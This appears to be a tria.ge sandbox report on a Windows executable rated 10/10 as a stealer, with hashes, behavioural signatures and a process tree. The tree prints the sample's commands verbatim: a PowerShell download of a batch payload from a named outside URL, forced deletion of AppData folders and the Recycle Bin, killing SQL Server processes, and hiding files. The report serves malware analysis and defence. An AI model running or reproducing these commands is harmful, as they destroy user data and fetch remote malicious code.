Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

10

05bd4ef6b3...3e.exe

windows7_x64

10

05bd4ef6b3...3e.exe

windows10-2004_x64

10

Analysis

  • max time kernel
    148s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    02/05/2022, 15:17

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe

  • Size

    2.8MB

  • MD5

    2079b5f7cb45b9509fc153071dec87de

  • SHA1

    488a6a91ed2d177e70c657863513d2431082da8c

  • SHA256

    05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e

  • SHA512

    d06bfb35cd83d124f76483c111b7c996d7573b0bb843144f2e454bb7ddb92320819b06e93054601d99e1650f7f7421373087d38533c4d5966e6169eb03a8ce16

Score
10/10
spywarestealer

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://e-service.iag.bg/App_Themes/Efa/clear.txt

Signatures

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 3 IoCs
    evasion
  • Modifies registry class 64 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe
    "C:\Users\Admin\AppData\Local\Temp\05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2108
    • C:\Windows\system32\cmd.exe
      cmd /C "label C: Encrypted"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2280
      • C:\Windows\system32\label.exe
        label C: Encrypted
        3⤵
          PID:4488
      • C:\Windows\system32\cmd.exe
        cmd /C "reg add HKEY_CLASSES_ROOT\.secure\DefaultIcon /t REG_SZ /d %SystemRoot%\System32\SHELL32.dll,271 /f"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1440
        • C:\Windows\system32\reg.exe
          reg add HKEY_CLASSES_ROOT\.secure\DefaultIcon /t REG_SZ /d C:\Windows\System32\SHELL32.dll,271 /f
          3⤵
          • Modifies registry class
          PID:4484
      • C:\Windows\system32\cmd.exe
        cmd /C "taskkill /F /IM sqlservr.exe /T"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1088
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM sqlservr.exe /T
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4108
      • C:\Windows\system32\cmd.exe
        cmd /C "taskkill /F /IM sqlceip.exe /T"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1784
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM sqlceip.exe /T
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3372
      • C:\Windows\system32\cmd.exe
        cmd /C "taskkill /F /IM sqlwriter.exe /T"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4372
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM sqlwriter.exe /T
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:112
      • C:\Windows\system32\cmd.exe
        cmd /C "rmdir C:\Users\Admin\AppData /s /q"
        2⤵
          PID:1176
        • C:\Windows\system32\cmd.exe
          cmd /C "rmdir C:\Users\Default\AppData /s /q"
          2⤵
            PID:3012
          • C:\Windows\system32\cmd.exe
            cmd /C "rmdir C:\Users\Public\AppData /s /q"
            2⤵
              PID:3272
            • C:\Windows\system32\cmd.exe
              cmd /C "attrib +h +s Crypto.exe"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1532
              • C:\Windows\system32\attrib.exe
                attrib +h +s Crypto.exe
                3⤵
                • Views/modifies file attributes
                PID:1092
            • C:\Windows\system32\cmd.exe
              cmd /C "net stop MSSQL$SQLEXPRESS"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1508
              • C:\Windows\system32\net.exe
                net stop MSSQL$SQLEXPRESS
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2676
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop MSSQL$SQLEXPRESS
                  4⤵
                    PID:1992
              • C:\Windows\system32\cmd.exe
                cmd /C "rmdir C:\$Recycle.Bin /s /q"
                2⤵
                  PID:4428
                • C:\Windows\system32\cmd.exe
                  cmd /C "C:\windows\syswow64\windowspowershell\v1.0\powershell(New-Object System.Net.WebClient).DownloadFile('http://e-service.iag.bg/App_Themes/Efa/clear.txt', 'C:\Users\Public\Music\clear.bat')"
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5056
                  • C:\windows\syswow64\windowspowershell\v1.0\powershell.exe
                    C:\windows\syswow64\windowspowershell\v1.0\powershell (New-Object System.Net.WebClient).DownloadFile('http://e-service.iag.bg/App_Themes/Efa/clear.txt', 'C:\Users\Public\Music\clear.bat')
                    3⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:984
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
                1⤵
                  PID:3784
                • C:\Windows\system32\rundll32.exe
                  "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
                  1⤵
                    PID:1640
                  • C:\Windows\system32\rundll32.exe
                    "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.Windows.Search_cw5n1h2txyewy
                    1⤵
                      PID:4824
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k UnistackSvcGroup
                      1⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4052
                    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                      1⤵
                      • Enumerates system info in registry
                      • Modifies registry class
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SetWindowsHookEx
                      PID:1784
                    • C:\Windows\system32\rundll32.exe
                      "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
                      1⤵
                        PID:1996

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • memory/984-155-0x0000000004BD0000-0x0000000004BF2000-memory.dmp

                        Filesize

                        136KB

                        Download

                      • memory/984-228-0x0000000004860000-0x000000000487E000-memory.dmp

                        Filesize

                        120KB

                        Download

                      • memory/984-153-0x00000000045E0000-0x0000000004616000-memory.dmp

                        Filesize

                        216KB

                        Download

                      • memory/984-154-0x0000000004C70000-0x0000000005298000-memory.dmp

                        Filesize

                        6.2MB

                        Download

                      • memory/984-157-0x0000000005450000-0x00000000054B6000-memory.dmp

                        Filesize

                        408KB

                        Download

                      • memory/984-156-0x0000000004C00000-0x0000000004C66000-memory.dmp

                        Filesize

                        408KB

                        Download

                      • memory/1784-164-0x00000136AB120000-0x00000136AB140000-memory.dmp

                        Filesize

                        128KB

                        Download

                      • memory/1784-167-0x00000136AADD0000-0x00000136AADF0000-memory.dmp

                        Filesize

                        128KB

                        Download

                      • memory/1784-170-0x00000136AB4D0000-0x00000136AB4F0000-memory.dmp

                        Filesize

                        128KB

                        Download

                      • memory/4052-151-0x000001E3CBF40000-0x000001E3CBF50000-memory.dmp

                        Filesize

                        64KB

                        Download

                      • memory/4052-152-0x000001E3CC040000-0x000001E3CC050000-memory.dmp

                        Filesize

                        64KB

                        Download